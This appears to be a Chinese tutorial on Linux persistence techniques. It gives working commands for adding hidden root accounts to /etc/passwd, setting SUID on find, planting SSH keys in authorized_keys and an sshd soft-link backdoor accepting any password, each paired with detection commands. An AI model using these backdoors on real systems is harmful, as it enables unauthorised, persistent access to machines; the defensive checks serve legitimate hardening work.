修改权限:
添加账户:
添加普通用户:
useradd guest;echo 'guest:123456'|chpasswd
添加root用户(前面提权那里有讲)
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
账户:test
密码:password@123
添加账户进行权限维持,很简单。
防御方法:
查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
效果图:
配置SUID:
给予权限
和提权相反,提权我们是需要SUID权限才能提权,那么这里同样我们需要给予SUID才能维持我们的权限
对想进行的脚本命令添加权限:
chmod u+s /usr/bin/find
chmod u-s /usr/bin/find
然后命令执行即可
防御方法:
首先列出具有SUID的命令:
find / -user root -perm -4000 -print 2>/dev/null (查找具有SUID的命令)
如果发现配置不当的命令,删除即可:
chmod u-s /usr/bin/find
SSH免密登录
这里简单介绍以下SSH
从上图中,可以看到我们使用SSH进行登陆时,主要分为以下几步:
用户使用ssh user@host命令对远程主机发起登陆请求;
远程主机将自己的公钥返回给请求主机;
请求主机使用公钥对用户输入的密码进行加密;
请求主机将加密后的密码发送给远程主机;
远程主机使用私钥对密码进行解密;
最后,远程主机判断解密后的密码是否与用户密码一致,一致同意登陆,否则反之。
至于免密登录,下面一张图就秒懂了:
这里出现了公钥和私钥,不懂的小伙伴可以自己去查查资料,这里有个地方很关键,也是免密登录的关键点:
受害🐓在得到攻击🐓的请求后,会回到authorized_keys中查找,如果有相应的用户名和IP,则会返回一个字符串给攻击🐓,剩下的流程都在图片里面,就不多说啦
免密配置:
windows:
ssh-keygen -t rsa
在本地生成一下
在这里连续按3个回车就行(实操一下就知道了)
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
ssh root@ip连接即可
linux:
1.客户端生成公私钥
本地客户端生成公私钥:(一路回车默认即可)
ssh-keygen
上面这个命令会在用户目录.ssh文件夹下创建公私钥
cd ~/.ssh
ls
下创建两个密钥:
id_rsa (私钥)
id_rsa.pub (公钥)
2.上传公钥到服务器
这里测试用的服务器地址为:192.168.235.22
用户为:root
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.235.22
上面这条命令是写到服务器上的ssh目录下去了
cd ~/.ssh
vim authorized_keys
可以看到客户端写入到服务器的 id_rsa.pub (公钥)内容。
防御方法:
查看/root/.ssh/authorized_keys是否被修改
cd ~/.ssh
vim authorized_keys
SSH软链接免密登录
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。
通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
pam_rootok.so
一般情况下,pam_rootok.so模块的主要作用是使uid为0的用户,即root用户能够直接通过认证而不用输入密码。
pam_rootok.so模块的一个典型应用是插入到一些应用程序的认证配置文件中,当root用户执行这些命令的时候可以不用输入口令而直接通过认证。
比如说“su”命令,为什么当以root用户执行“su”切换到普通用户身份的时候是不需要输入任何口令而可以直接切换过去?
当我们查看一下/etc/pam.d/su文件的内容就不会奇怪了。因为该文件的第一行就是:
auth sufficient pam_rootok.so
而如果将该行配置注释掉的情况下,就会发现即便以root用户切换普通用户的时候仍然要求输入口令。
软连接:
在目标服务器下以root权限执行下面这段命令
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
上面这段命令将/tmp/su链接到/usr/sbin/sshd 并监听指定的8888端口
远程连接即可,密码随便输入
ssh root@xxx.xxx.xxx.xxx -p 12345
防御方法:
查看进程、端口 及时杀死
ps aux
kill -s 9 PID